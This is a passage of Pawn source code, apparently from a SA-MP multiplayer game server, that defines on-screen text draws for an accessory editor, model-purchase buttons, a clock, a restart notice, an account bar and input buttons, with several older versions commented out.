	ToysGTD[55] = TextDrawCreate(549.159606, 194.863983, "-");TextDrawLetterSize(ToysGTD[55], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[55], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[55], 2);TextDrawColor(ToysGTD[55], -1);TextDrawSetShadow(ToysGTD[55], 1);TextDrawBackgroundColor(ToysGTD[55], 255);TextDrawFont(ToysGTD[55], 2);TextDrawSetProportional(ToysGTD[55], 1);TextDrawSetSelectable(ToysGTD[55], true);
	ToysGTD[56] = TextDrawCreate(549.159606, 177.863983, "-");TextDrawLetterSize(ToysGTD[56], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[56], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[56], 2);TextDrawColor(ToysGTD[56], -1);TextDrawSetShadow(ToysGTD[56], 1);TextDrawBackgroundColor(ToysGTD[56], 255);TextDrawFont(ToysGTD[56], 2);TextDrawSetProportional(ToysGTD[56], 1);TextDrawSetSelectable(ToysGTD[56], true);
	ToysGTD[57] = TextDrawCreate(549.159606, 131.863983, "-");TextDrawLetterSize(ToysGTD[57], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[57], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[57], 2);TextDrawColor(ToysGTD[57], -1);TextDrawSetShadow(ToysGTD[57], 1);TextDrawBackgroundColor(ToysGTD[57], 255);TextDrawFont(ToysGTD[57], 2);TextDrawSetProportional(ToysGTD[57], 1);TextDrawSetSelectable(ToysGTD[57], true);
	ToysGTD[58] = TextDrawCreate(591.436950, 335.446899, "-Camera_Adjustment-");TextDrawLetterSize(ToysGTD[58], 0.210822, 1.521666);TextDrawAlignment(ToysGTD[58], 2);TextDrawColor(ToysGTD[58], -1);TextDrawSetShadow(ToysGTD[58], 1);TextDrawBackgroundColor(ToysGTD[58], 255);TextDrawFont(ToysGTD[58], 1);TextDrawSetProportional(ToysGTD[58], 1);
	ToysGTD[59] = TextDrawCreate(561.058654, 325.633117, "box");TextDrawLetterSize(ToysGTD[59], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[59], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[59], 1);TextDrawColor(ToysGTD[59], -1061109505);TextDrawUseBox(ToysGTD[59], 1);TextDrawBoxColor(ToysGTD[59], -1061109505);TextDrawSetShadow(ToysGTD[59], 0);TextDrawBackgroundColor(ToysGTD[59], 255);TextDrawFont(ToysGTD[59], 1);TextDrawSetProportional(ToysGTD[59], 1);
	ToysGTD[60] = TextDrawCreate(590.999938, 322.899780, "Edit_Using_Mouse");TextDrawLetterSize(ToysGTD[60], 0.216940, 1.080832);TextDrawTextSize(ToysGTD[60], 10.000000, 60.000000);TextDrawAlignment(ToysGTD[60], 2);TextDrawColor(ToysGTD[60], -1);TextDrawSetShadow(ToysGTD[60], 1);TextDrawBackgroundColor(ToysGTD[60], 255);TextDrawFont(ToysGTD[60], 1);TextDrawSetProportional(ToysGTD[60], 1);TextDrawSetSelectable(ToysGTD[60], true);
	ToysGTD[61] = TextDrawCreate(558.011535, 353.333312, "LD_BEAT:left");TextDrawTextSize(ToysGTD[61], 12.000000, 12.000000);TextDrawAlignment(ToysGTD[61], 1);TextDrawColor(ToysGTD[61], -1);TextDrawSetShadow(ToysGTD[61], 0);TextDrawBackgroundColor(ToysGTD[61], 255);TextDrawFont(ToysGTD[61], 4);TextDrawSetProportional(ToysGTD[61], 0);TextDrawSetSelectable(ToysGTD[61], true);
	ToysGTD[62] = TextDrawCreate(571.212341, 349.733367, "LD_BEAT:cring");TextDrawTextSize(ToysGTD[62], 17.899999, 18.000000);TextDrawAlignment(ToysGTD[62], 1);TextDrawColor(ToysGTD[62], -1);TextDrawSetShadow(ToysGTD[62], 0);TextDrawBackgroundColor(ToysGTD[62], 255);TextDrawFont(ToysGTD[62], 4);TextDrawSetProportional(ToysGTD[62], 0);
	ToysGTD[63] = TextDrawCreate(586.813293, 349.733367, "LD_BEAT:cring");TextDrawTextSize(ToysGTD[63], 17.899999, 18.000000);TextDrawAlignment(ToysGTD[63], 1);TextDrawColor(ToysGTD[63], -1);TextDrawSetShadow(ToysGTD[63], 0);TextDrawBackgroundColor(ToysGTD[63], 255);TextDrawFont(ToysGTD[63], 4);TextDrawSetProportional(ToysGTD[63], 0);
	ToysGTD[64] = TextDrawCreate(607.214538, 353.333312, "LD_BEAT:right");TextDrawTextSize(ToysGTD[64], 12.000000, 12.000000);TextDrawAlignment(ToysGTD[64], 1);TextDrawColor(ToysGTD[64], -1);TextDrawSetShadow(ToysGTD[64], 0);TextDrawBackgroundColor(ToysGTD[64], 255);TextDrawFont(ToysGTD[64], 4);TextDrawSetProportional(ToysGTD[64], 0);TextDrawSetSelectable(ToysGTD[64], true);
	ToysGTD[65] = TextDrawCreate(579.971008, 353.350067, "-");TextDrawLetterSize(ToysGTD[65], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[65], 5.000000, 4.000000);TextDrawAlignment(ToysGTD[65], 2);TextDrawColor(ToysGTD[65], -1);TextDrawSetShadow(ToysGTD[65], 1);TextDrawBackgroundColor(ToysGTD[65], 255);TextDrawFont(ToysGTD[65], 2);TextDrawSetProportional(ToysGTD[65], 1);TextDrawSetSelectable(ToysGTD[65], true);
	ToysGTD[66] = TextDrawCreate(595.871887, 353.650054, "+");TextDrawLetterSize(ToysGTD[66], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[66], 5.000000, 4.000000);TextDrawAlignment(ToysGTD[66], 2);TextDrawColor(ToysGTD[66], -1);TextDrawSetShadow(ToysGTD[66], 1);TextDrawBackgroundColor(ToysGTD[66], 255);TextDrawFont(ToysGTD[66], 2);TextDrawSetProportional(ToysGTD[66], 1);TextDrawSetSelectable(ToysGTD[66], true);
	ToysGTD[67] = TextDrawCreate(537.070373, 369.800170, "LD_SPAC:white");TextDrawTextSize(ToysGTD[67], 25.000000, 12.000000);TextDrawAlignment(ToysGTD[67], 1);TextDrawColor(ToysGTD[67], 65535);TextDrawSetShadow(ToysGTD[67], 0);TextDrawBackgroundColor(ToysGTD[67], 255);TextDrawFont(ToysGTD[67], 4);TextDrawSetProportional(ToysGTD[67], 0);
	ToysGTD[68] = TextDrawCreate(614.675109, 369.800170, "LD_SPAC:white");TextDrawTextSize(ToysGTD[68], 25.000000, 12.000000);TextDrawAlignment(ToysGTD[68], 1);TextDrawColor(ToysGTD[68], 65535);TextDrawSetShadow(ToysGTD[68], 0);TextDrawBackgroundColor(ToysGTD[68], 255);TextDrawFont(ToysGTD[68], 4);TextDrawSetProportional(ToysGTD[68], 0);
	ToysGTD[69] = TextDrawCreate(570.672424, 369.800170, "LD_SPAC:white");TextDrawTextSize(ToysGTD[69], 35.780059, 12.000000);TextDrawAlignment(ToysGTD[69], 1);TextDrawColor(ToysGTD[69], 8388863);TextDrawSetShadow(ToysGTD[69], 0);TextDrawBackgroundColor(ToysGTD[69], 255);TextDrawFont(ToysGTD[69], 4);TextDrawSetProportional(ToysGTD[69], 0);
	ToysGTD[70] = TextDrawCreate(548.643310, 371.050079, "Color1");TextDrawLetterSize(ToysGTD[70], 0.168467, 0.870832);TextDrawTextSize(ToysGTD[70], 10.000000, 10.000000);TextDrawAlignment(ToysGTD[70], 2);TextDrawColor(ToysGTD[70], -1);TextDrawSetShadow(ToysGTD[70], 1);TextDrawBackgroundColor(ToysGTD[70], 255);TextDrawFont(ToysGTD[70], 1);TextDrawSetProportional(ToysGTD[70], 1);TextDrawSetSelectable(ToysGTD[70], true);
	ToysGTD[71] = TextDrawCreate(626.977416, 371.050079, "Color2");TextDrawLetterSize(ToysGTD[71], 0.168467, 0.870832);TextDrawTextSize(ToysGTD[71], 10.000000, 10.000000);TextDrawAlignment(ToysGTD[71], 2);TextDrawColor(ToysGTD[71], -1);TextDrawSetShadow(ToysGTD[71], 1);TextDrawBackgroundColor(ToysGTD[71], 255);TextDrawFont(ToysGTD[71], 1);TextDrawSetProportional(ToysGTD[71], 1);TextDrawSetSelectable(ToysGTD[71], true);
	ToysGTD[72] = TextDrawCreate(587.803955, 371.633422, "Free_Camera");TextDrawLetterSize(ToysGTD[72], 0.168467, 0.870832);TextDrawTextSize(ToysGTD[72], 10.000000, 33.000000);TextDrawAlignment(ToysGTD[72], 2);TextDrawColor(ToysGTD[72], -1);TextDrawSetShadow(ToysGTD[72], 1);TextDrawBackgroundColor(ToysGTD[72], 255);TextDrawFont(ToysGTD[72], 1);TextDrawSetProportional(ToysGTD[72], 1);TextDrawSetSelectable(ToysGTD[72], true);
	OBJTTT[0] = TextDrawCreate(585.724365, 127.000030, "box");TextDrawLetterSize(OBJTTT[0], 0.000000, 24.140083);TextDrawTextSize(OBJTTT[0], 0.000000, 110.000000);TextDrawAlignment(OBJTTT[0], 2);TextDrawColor(OBJTTT[0], -1);TextDrawUseBox(OBJTTT[0], 1);TextDrawBoxColor(OBJTTT[0], 150);TextDrawSetShadow(OBJTTT[0], 0);TextDrawBackgroundColor(OBJTTT[0], 255);TextDrawFont(OBJTTT[0], 2);TextDrawSetProportional(OBJTTT[0], 1);
	OBJTTT[1] = TextDrawCreate(529.000366, 128.166687, "LD_SPAC:white");TextDrawTextSize(OBJTTT[1], 26.000000, 12.000000);TextDrawAlignment(OBJTTT[1], 1);TextDrawColor(OBJTTT[1], 8388863);TextDrawSetShadow(OBJTTT[1], 0);TextDrawBackgroundColor(OBJTTT[1], 255);TextDrawFont(OBJTTT[1], 4);TextDrawSetProportional(OBJTTT[1], 0);
	OBJTTT[2] = TextDrawCreate(613.800292, 128.166687, "LD_SPAC:white");TextDrawTextSize(OBJTTT[2], 26.000000, 12.000000);TextDrawAlignment(OBJTTT[2], 1);TextDrawColor(OBJTTT[2], -2147483393);TextDrawSetShadow(OBJTTT[2], 0);TextDrawBackgroundColor(OBJTTT[2], 255);TextDrawFont(OBJTTT[2], 4);TextDrawSetProportional(OBJTTT[2], 0);
	OBJTTT[3] = TextDrawCreate(627.437377, 128.733367, "Cancel");TextDrawLetterSize(OBJTTT[3], 0.200000, 1.000000);TextDrawTextSize(OBJTTT[3], 10.000000, 18.000000);TextDrawAlignment(OBJTTT[3], 2);TextDrawColor(OBJTTT[3], -1);TextDrawSetShadow(OBJTTT[3], 1);TextDrawBackgroundColor(OBJTTT[3], 255);TextDrawFont(OBJTTT[3], 1);TextDrawSetProportional(OBJTTT[3], 1);TextDrawSetSelectable(OBJTTT[3], true);
	OBJTTT[4] = TextDrawCreate(559.176208, 128.750000, "-_Models_-");TextDrawLetterSize(OBJTTT[4], 0.300000, 1.000000);TextDrawAlignment(OBJTTT[4], 1);TextDrawColor(OBJTTT[4], -1);TextDrawSetShadow(OBJTTT[4], 1);TextDrawBackgroundColor(OBJTTT[4], 255);TextDrawFont(OBJTTT[4], 1);TextDrawSetProportional(OBJTTT[4], 1);
	OBJTTT[5] = TextDrawCreate(563.823364, 337.000091, "LD_SPAC:white");TextDrawTextSize(OBJTTT[5], 10.000000, 10.000000);TextDrawAlignment(OBJTTT[5], 1);TextDrawColor(OBJTTT[5], 65535);TextDrawSetShadow(OBJTTT[5], 0);TextDrawBackgroundColor(OBJTTT[5], 255);TextDrawFont(OBJTTT[5], 4);TextDrawSetProportional(OBJTTT[5], 0);
	OBJTTT[6] = TextDrawCreate(597.964477, 337.000091, "LD_SPAC:white");TextDrawTextSize(OBJTTT[6], 10.000000, 10.000000);TextDrawAlignment(OBJTTT[6], 1);TextDrawColor(OBJTTT[6], 65535);TextDrawSetShadow(OBJTTT[6], 0);TextDrawBackgroundColor(OBJTTT[6], 255);TextDrawFont(OBJTTT[6], 4);TextDrawSetProportional(OBJTTT[6], 0);
	OBJTTT[7] = TextDrawCreate(585.540710, 336.850250, "Page_1");TextDrawLetterSize(OBJTTT[7], 0.150000, 1.000000);TextDrawAlignment(OBJTTT[7], 2);TextDrawColor(OBJTTT[7], -1);TextDrawSetShadow(OBJTTT[7], 1);TextDrawBackgroundColor(OBJTTT[7], 255);TextDrawFont(OBJTTT[7], 1);TextDrawSetProportional(OBJTTT[7], 1);
	OBJTTT[8] = TextDrawCreate(568.739685, 336.850250, "<");TextDrawLetterSize(OBJTTT[8], 0.150000, 1.000000);TextDrawTextSize(OBJTTT[8], 5.00000, 5.00000);TextDrawAlignment(OBJTTT[8], 2);TextDrawColor(OBJTTT[8], -1);TextDrawSetShadow(OBJTTT[8], 1);TextDrawBackgroundColor(OBJTTT[8], 255);TextDrawFont(OBJTTT[8], 1);TextDrawSetProportional(OBJTTT[8], 1);TextDrawSetSelectable(OBJTTT[8], true);
	OBJTTT[9] = TextDrawCreate(602.541748, 336.850250, ">");TextDrawLetterSize(OBJTTT[9], 0.150000, 1.000000);TextDrawTextSize(OBJTTT[9], 5.00000, 5.00000);TextDrawAlignment(OBJTTT[9], 2);TextDrawColor(OBJTTT[9], -1);TextDrawSetShadow(OBJTTT[9], 1);TextDrawBackgroundColor(OBJTTT[9], 255);TextDrawFont(OBJTTT[9], 1);TextDrawSetProportional(OBJTTT[9], 1);TextDrawSetSelectable(OBJTTT[9], true);

shacklog = TextDrawCreate(243.125000, 334.666687, "Your account is loading...");
TextDrawLetterSize(shacklog, 0.343750, 1.115833);
TextDrawAlignment(shacklog, 1);
TextDrawColor(shacklog, -1);
TextDrawSetShadow(shacklog, 0);
TextDrawSetOutline(shacklog, 1);
TextDrawBackgroundColor(shacklog, 255);
TextDrawFont(shacklog, 1);
TextDrawSetProportional(shacklog, 1);

TestModel = TextDrawCreate(350.000000, 345.705810, "Test_Model");
TextDrawLetterSize(TestModel, 0.544499, 2.042244);
TextDrawTextSize(TestModel, 451.000000, 15.533336);
TextDrawAlignment(TestModel, 1);
TextDrawColor(TestModel, -1);
TextDrawUseBox(TestModel, true);
TextDrawBoxColor(TestModel, 0);
TextDrawSetShadow(TestModel, 0);
TextDrawSetOutline(TestModel, 1);
TextDrawFont(TestModel, 1);
TextDrawSetProportional(TestModel, 1);
TextDrawSetSelectable(TestModel, true);

BuyModel = TextDrawCreate(244.000000, 346.211151, "Buy_Model");
TextDrawLetterSize(BuyModel, 0.573500, 1.993160);
TextDrawTextSize(BuyModel, 340.500000, 15.733333);
TextDrawAlignment(BuyModel, 1);
TextDrawColor(BuyModel, -1);
TextDrawUseBox(BuyModel, true);
TextDrawBoxColor(BuyModel,0);
TextDrawSetShadow(BuyModel, 0);
TextDrawSetOutline(BuyModel, 1);
TextDrawFont(BuyModel, 1);
TextDrawSetProportional(BuyModel, 1);
TextDrawSetSelectable(BuyModel, true);


ExitDS = TextDrawCreate(329.500000, 371.099975, "Exit");
TextDrawLetterSize(ExitDS, 0.561500, 2.150789);
TextDrawTextSize(ExitDS, 363.000000, 10.866698);
TextDrawAlignment(ExitDS, 1);
TextDrawColor(ExitDS, -1);
TextDrawUseBox(ExitDS, true);
TextDrawBoxColor(ExitDS, 0);
TextDrawSetShadow(ExitDS, 0);
TextDrawSetOutline(ExitDS, 1);
TextDrawFont(ExitDS, 1);
TextDrawSetProportional(ExitDS, 1);
TextDrawSetSelectable(ExitDS, true);

RotModel = TextDrawCreate(243.625000, 313.233337, "Rot._Left");
TextDrawLetterSize(RotModel, 0.298000, 2.060220);
TextDrawTextSize(RotModel, 281.000000, 15.844445);
TextDrawAlignment(RotModel, 1);
TextDrawColor(RotModel, -1);
TextDrawUseBox(RotModel, true);
TextDrawBoxColor(RotModel, 0);
TextDrawSetShadow(RotModel, 0);
TextDrawSetOutline(RotModel, 1);
TextDrawFont(RotModel, 1);
TextDrawSetProportional(RotModel, 1);
TextDrawSetSelectable(RotModel, true);

RotModel2 = TextDrawCreate(403.500000, 313.233337, "Rot._Right");
TextDrawLetterSize(RotModel2, 0.298000, 2.060220);
TextDrawTextSize(RotModel2, 454.500000, 15.355529);
TextDrawAlignment(RotModel2, 1);
TextDrawColor(RotModel2, -1);
TextDrawUseBox(RotModel2, true);
TextDrawBoxColor(RotModel2, 0);
TextDrawSetShadow(RotModel2, 0);
TextDrawSetOutline(RotModel2, 1);
TextDrawFont(RotModel2, 1);
TextDrawSetProportional(RotModel2, 1);
TextDrawSetSelectable(RotModel2, true);

TDTake = TextDrawCreate(526.875000, 357.999908, "Take_$0");
TextDrawLetterSize(TDTake, 0.192500, 0.789166);
TextDrawTextSize(TDTake, 579.000000, 0.000000);
TextDrawAlignment(TDTake, 1);
TextDrawColor(TDTake, 16711850);
TextDrawUseBox(TDTake, 1);
TextDrawBoxColor(TDTake, 170);
TextDrawSetShadow(TDTake, 0);
TextDrawSetOutline(TDTake, 0);
TextDrawBackgroundColor(TDTake, 255);
TextDrawFont(TDTake, 1);
TextDrawSetProportional(TDTake, 1);
TextDrawSetShadow(TDTake, 0);

NextModel = TextDrawCreate(470.500000, 250.233337, ">");
TextDrawLetterSize(NextModel, 0.508000, 1.760220);
TextDrawTextSize(NextModel, 520.500000, 15.355529);
TextDrawAlignment(NextModel, 1);
TextDrawColor(NextModel, -1);
TextDrawUseBox(NextModel, true);
TextDrawBoxColor(NextModel, 0);
TextDrawSetShadow(NextModel, 0);
TextDrawSetOutline(NextModel, 1);
TextDrawFont(NextModel, 1);
TextDrawSetProportional(NextModel, 1);
TextDrawSetSelectable(NextModel, true);

PrevModel = TextDrawCreate(200.500000, 250.233337, "<");
TextDrawLetterSize(PrevModel, 0.508000, 1.760220);
TextDrawTextSize(PrevModel, 250.500000, 15.355529);
TextDrawAlignment(PrevModel, 1);
TextDrawColor(PrevModel, -1);
TextDrawUseBox(PrevModel, true);
TextDrawBoxColor(PrevModel, 0);
TextDrawSetShadow(PrevModel, 0);
TextDrawSetOutline(PrevModel, 1);
TextDrawFont(PrevModel, 1);
TextDrawSetProportional(PrevModel, 1);
TextDrawSetSelectable(PrevModel, true);


// New Clock Created By SiNaGaMeR
/*
Clock1 = TextDrawCreate(577.999816, 33.666671, "25.08.2015~n~18:00:00");
TextDrawLetterSize(Clock1, 0.380000, 1.580000);
TextDrawTextSize(Clock1, 0.000000, 67.000000);
TextDrawAlignment(Clock1, 2);
TextDrawColor(Clock1, 0xFF0091FF);
TextDrawSetShadow(Clock1, 0);
TextDrawSetOutline(Clock1, 1);
TextDrawBackgroundColor(Clock1, 255);
TextDrawFont(Clock1, 1);
TextDrawSetProportional(Clock1, 1);
TextDrawSetShadow(Clock1, 0);
*/

TDRestart = TextDrawCreate(486.875000, 107.166679, "The server will restart in 60 seconds");
TextDrawLetterSize(TDRestart, 0.162500, 0.806666);
TextDrawTextSize(TDRestart, 627.000000, 0.000000);
TextDrawAlignment(TDRestart, 1);
TextDrawColor(TDRestart, -16776961);
TextDrawUseBox(TDRestart, 1);
TextDrawBoxColor(TDRestart, 88);
TextDrawSetShadow(TDRestart, 0);
TextDrawSetOutline(TDRestart, 0);
TextDrawBackgroundColor(TDRestart, 255);
TextDrawFont(TDRestart, 2);
TextDrawSetProportional(TDRestart, 1);
TextDrawSetShadow(TDRestart, 1);
/*
Time = TextDrawCreate(578.000000, 22.000000, "");
TextDrawAlignment(Time, 2);
TextDrawBackgroundColor(Time, 255);
TextDrawFont(Time, 3);
TextDrawLetterSize(Time, 0.569998, 2.099998);
TextDrawColor(Time, -1);
TextDrawSetOutline(Time, 1);
TextDrawSetShadow(Time, 2);
TextDrawSetProportional(Time, 1);
*/
/*
Date = TextDrawCreate(548.250000, 9.500007, "");
TextDrawAlignment(Date, 1);
TextDrawBackgroundColor(Date, 255);
TextDrawFont(Date, 1);
TextDrawLetterSize(Date, 0.306874, 1.349165);
TextDrawColor(Date, -1);
TextDrawSetOutline(Date, 1);
TextDrawSetProportional(Date, 1);
*/
Time = TextDrawCreate(578.000000, 22.000000, "");
TextDrawSetShadow(Time, 2);
TextDrawSetProportional(Time , 1);
TextDrawAlignment(Time, 2);
TextDrawLetterSize(Time, 0.569998 , 2.099998);
TextDrawColor(Time, -1);
TextDrawSetOutline(Time, 2);
TextDrawFont(Time, 3);

Date = TextDrawCreate(577.200012, 8.000000, "");
TextDrawSetShadow(Date, 2);
TextDrawSetProportional(Date , 1);
TextDrawAlignment(Date, 2);
TextDrawLetterSize(Date, 0.320000 , 1.340000);
TextDrawColor(Date, -1);
TextDrawSetOutline(Date, 1);
TextDrawFont(Date, 1);
/*
Day1 = TextDrawCreate(577.999816, 17.016662, "Wednesday");
TextDrawLetterSize(Day1, 0.247058, 1.343333);
TextDrawTextSize(Day1, 0.000000, 59.000000);
TextDrawAlignment(Day1, 2);
TextDrawColor(Day1, 0x00F5FFFF);
TextDrawSetShadow(Day1, 0);
TextDrawSetOutline(Day1, 1);
TextDrawBackgroundColor(Day1, 255);
TextDrawFont(Day1, 1);
TextDrawSetProportional(Day1, 1);
TextDrawSetShadow(Day1, 0);
*/
/*
Time = TextDrawCreate(585.000000, 22.000000, "");
TextDrawAlignment(Time, 2);
TextDrawBackgroundColor(Time, 255);
TextDrawFont(Time, 2);
TextDrawLetterSize(Time, 0.569998, 2.099998);
TextDrawColor(Time, -1);
TextDrawSetOutline(Time, 2);
TextDrawSetProportional(Time, 1);

Date = TextDrawCreate(573.000000, 8.000000, "");
TextDrawAlignment(Date, 2);
TextDrawBackgroundColor(Date, 255);
TextDrawFont(Date, 2);
TextDrawLetterSize(Date, 0.430000, 1.400000);
TextDrawColor(Date, -1);
TextDrawSetOutline(Date, 1);
TextDrawSetProportional(Date, 1);
*/
/*
// This is old AccountBar
AccountBar = TextDrawCreate(5.000000, 432.000000, "Loading");
TextDrawBackgroundColor(AccountBar, 255);
TextDrawFont(AccountBar, 1);
TextDrawLetterSize(AccountBar, 0.350000, 1.299999);
TextDrawColor(AccountBar, -1);
TextDrawSetOutline(AccountBar, 0);
TextDrawSetProportional(AccountBar, 1);
TextDrawSetShadow(AccountBar, 1);
TextDrawUseBox(AccountBar, 1);
TextDrawBoxColor(AccountBar, 255);
TextDrawTextSize(AccountBar, 634.000000, 825.000000);
*/



AccountBar = TextDrawCreate(7.000000, 427.000000, "~w~Accounts: ~y~1~w~ / Newest account: ~y~Sina ~w~/ Most players online: ~y~1 ~w~(2020.02.29 21:57)");
TextDrawBackgroundColor(AccountBar, 255);
TextDrawSetShadow(AccountBar, 1);
TextDrawSetProportional(AccountBar , 1);
TextDrawUseBox(AccountBar, 1);
TextDrawBoxColor(AccountBar, 255);
TextDrawTextSize(AccountBar, 633.000000, 0.000000);
TextDrawAlignment(AccountBar, 0);
TextDrawLetterSize(AccountBar, 0.300000 , 1.600000);
TextDrawColor(AccountBar, 0xffffffff);
TextDrawSetOutline(AccountBar, 1);
TextDrawFont(AccountBar, 1);


/*
Logosv1 = TextDrawCreate(614.500000, 427.562500, "~b~Azin~w~Game");
TextDrawLetterSize(Logosv1, 0.468499, 1.639374);
TextDrawAlignment(Logosv1, 3);
TextDrawColor(Logosv1, -1);
TextDrawSetShadow(Logosv1, 1);
TextDrawSetOutline(Logosv1, 0);
TextDrawBackgroundColor(Logosv1, 255);
TextDrawFont(Logosv1, 1);
TextDrawSetProportional(Logosv1, 1);
TextDrawSetShadow(Logosv1, 1);

Logosv2 = TextDrawCreate(630.299926, 440.350006, "~b~AG ~r~: ~w~RPG v5.1");
TextDrawLetterSize(Logosv2, 0.221000, 0.606873);
TextDrawAlignment(Logosv2, 3);
TextDrawColor(Logosv2, -1);
TextDrawSetShadow(Logosv2, 1);
TextDrawSetOutline(Logosv2, 0);
TextDrawBackgroundColor(Logosv2, 255);
TextDrawFont(Logosv2, 1);
TextDrawSetProportional(Logosv2, 1);
TextDrawSetShadow(Logosv2, 1);
*/

SinaG = TextDrawCreate(584.400268, 428.574400, SV_LINK);
TextDrawLetterSize(SinaG, 0.282799, 1.689599);
TextDrawTextSize(SinaG, 200.800018, -37.333354);
TextDrawAlignment(SinaG, 2);
TextDrawColor(SinaG, 0x7c0100FF);
TextDrawSetShadow(SinaG, 0);
TextDrawSetOutline(SinaG, 0);
TextDrawBackgroundColor(SinaG, -0x7c0100FF);
TextDrawFont(SinaG, 1);
TextDrawSetProportional(SinaG, 1);
TextDrawSetSelectable(SinaG, false);
	   //==========================[Textdrawme]===========================

		// Paein e Map TextDraw by Sina
		/*
TGT = TextDrawCreate(80.000000, 427.589263, "Azin Game");
TextDrawLetterSize(TGT, 0.282799, 1.689599);
TextDrawTextSize(TGT, 200.800018, -37.333354);
TextDrawAlignment(TGT, 2);
TextDrawColor(TGT, 0x7c0100FF);
TextDrawSetShadow(TGT, 0);
TextDrawSetOutline(TGT, 0);
TextDrawBackgroundColor(TGT, -0x7c0100FF);
TextDrawFont(TGT, 1);
TextDrawSetProportional(TGT, 1);
TextDrawSetSelectable(TGT, false);
*/

/*TGT = TextDrawCreate(480.000000, 430.577728, "ComingSooN");
TextDrawLetterSize(TGT, 0.449999, 1.600000);
TextDrawAlignment(TGT, 1);
TextDrawColor(TGT, 0xFF0000FF);
TextDrawSetShadow(TGT, 1);
TextDrawSetOutline(TGT, 0);
TextDrawBackgroundColor(TGT, 255);
TextDrawFont(TGT, 1);
TextDrawSetProportional(TGT, 1);
*/

/*
TGT = TextDrawCreate(584.400268, 428.574400, "RPG.Azin Game.iR");
TextDrawLetterSize(TGT, 0.282799, 1.689599);
TextDrawTextSize(TGT, 200.800018, -37.333354);
TextDrawAlignment(TGT, 2);
TextDrawColor(TGT, 0x7c0100FF);
TextDrawSetShadow(TGT, 0);
TextDrawSetOutline(TGT, 0);
TextDrawBackgroundColor(TGT, -0x7c0100FF);
TextDrawFont(TGT, 1);
TextDrawSetProportional(TGT, 1);
TextDrawSetSelectable(TGT, false);
*/

/*
WelcomeMsg = TextDrawCreate(198.399978, 166.506652, "         Salam :D");
TextDrawLetterSize(WelcomeMsg, 0.918799, 2.981332);
TextDrawAlignment(WelcomeMsg, 1);
TextDrawColor(WelcomeMsg, -5963521);
TextDrawSetShadow(WelcomeMsg, 2);
TextDrawSetOutline(WelcomeMsg, 0);
TextDrawBackgroundColor(WelcomeMsg, 51);
TextDrawFont(WelcomeMsg, 2);
TextDrawSetProportional(WelcomeMsg, 1);

SvMsg = TextDrawCreate(256.00000, 192.639968, "Year To");
TextDrawLetterSize(SvMsg, 0.572399, 2.077867);
TextDrawAlignment(SvMsg, 1);
TextDrawColor(SvMsg, -65281);
TextDrawSetShadow(SvMsg, 1);
TextDrawSetOutline(SvMsg, 0);
TextDrawBackgroundColor(SvMsg, 51);
TextDrawFont(SvMsg, 2);
TextDrawSetProportional(SvMsg, 1);

RPGMsg = TextDrawCreate(256.000030, 212.053329, "Azin Game");
TextDrawLetterSize(RPGMsg, 0.482000, 1.801600);
TextDrawAlignment(RPGMsg, 1);
TextDrawColor(RPGMsg, -65281);
TextDrawSetShadow(RPGMsg, 1);
TextDrawSetOutline(RPGMsg, 0);
TextDrawBackgroundColor(RPGMsg, 51);
TextDrawFont(RPGMsg, 2);
TextDrawSetProportional(RPGMsg, 1);
*/
/*
SafeZone = TextDrawCreate(259.000000, 2.488875, "SafeZone");
TextDrawLetterSize(SafeZone, 0.482000, 1.801600);
TextDrawAlignment(SafeZone, 1);
TextDrawColor(SafeZone, 0x00D7FFFF );
TextDrawSetShadow(SafeZone, 0);
TextDrawSetOutline(SafeZone, 1);
TextDrawBackgroundColor(SafeZone, 255);
TextDrawFont(SafeZone, 1);
TextDrawSetProportional(SafeZone, 1);
*/
SafeZone = TextDrawCreate(320.100128, 1.200010, "SafeZone");
TextDrawLetterSize(SafeZone, 0.242500, 1.211110);
TextDrawTextSize(SafeZone, 0.000000, 37.000000);
TextDrawAlignment(SafeZone, 2);
TextDrawColor(SafeZone, 0x00FF00FF);
TextDrawUseBox(SafeZone, 0);
TextDrawBoxColor(SafeZone, 0x80808080);
TextDrawSetShadow(SafeZone, 1);
TextDrawSetOutline(SafeZone, 0);
TextDrawBackgroundColor(SafeZone, 0x000000FF);
TextDrawFont(SafeZone, 1);
TextDrawSetProportional(SafeZone, 1);
TextDrawSetSelectable(SafeZone, 0);

Ok = TextDrawCreate(528.500000, 379.811309, "OK");
TextDrawLetterSize(Ok, 0.605999, 2.676221);
TextDrawTextSize(Ok, 551.500000, 288.088897);
TextDrawAlignment(Ok, 1);
TextDrawColor(Ok, -1);
TextDrawUseBox(Ok, true);
TextDrawBoxColor(Ok, 8388863);
TextDrawSetShadow(Ok, 0);
TextDrawSetOutline(Ok, 0);
TextDrawFont(Ok, 3);
TextDrawSetSelectable(Ok, 1);

Clear = TextDrawCreate(588.500000, 380.433471, "C");
TextDrawLetterSize(Clear, 1.166999, 2.606391);
TextDrawTextSize(Clear, 611.500000, 37.333335);
TextDrawAlignment(Clear, 1);
TextDrawColor(Clear, -1);
TextDrawUseBox(Clear, true);
TextDrawBoxColor(Clear, -16776961);
TextDrawSetShadow(Clear, 0);
TextDrawSetOutline(Clear, 0);
TextDrawFont(Clear, 3);
TextDrawSetSelectable(Clear, 1);

Cancel = TextDrawCreate(529.000000, 216.166564, "Cancel");
TextDrawLetterSize(Cancel, 0.742000, 2.750196);
TextDrawTextSize(Cancel, 613.000000, 4.977777);
TextDrawAlignment(Cancel, 1);
TextDrawColor(Cancel, -1);
TextDrawUseBox(Cancel, true);
TextDrawBoxColor(Cancel, -16776961);
TextDrawSetShadow(Cancel, 0);
TextDrawSetOutline(Cancel, 0);
TextDrawBackgroundColor(Cancel, -1378294017);
TextDrawFont(Cancel, 3);
TextDrawSetSelectable(Cancel, 1);

BoxInput1 = TextDrawCreate(543.500000, 245.411102, "usebox");
TextDrawLetterSize(BoxInput1, 0.000000, 3.209259);
TextDrawTextSize(BoxInput1, 509.500000, 0.000000);
TextDrawAlignment(BoxInput1, 1);
TextDrawColor(BoxInput1, 0);
TextDrawUseBox(BoxInput1, true);
TextDrawBoxColor(BoxInput1, 102);
TextDrawSetShadow(BoxInput1, 0);
TextDrawSetOutline(BoxInput1, 0);
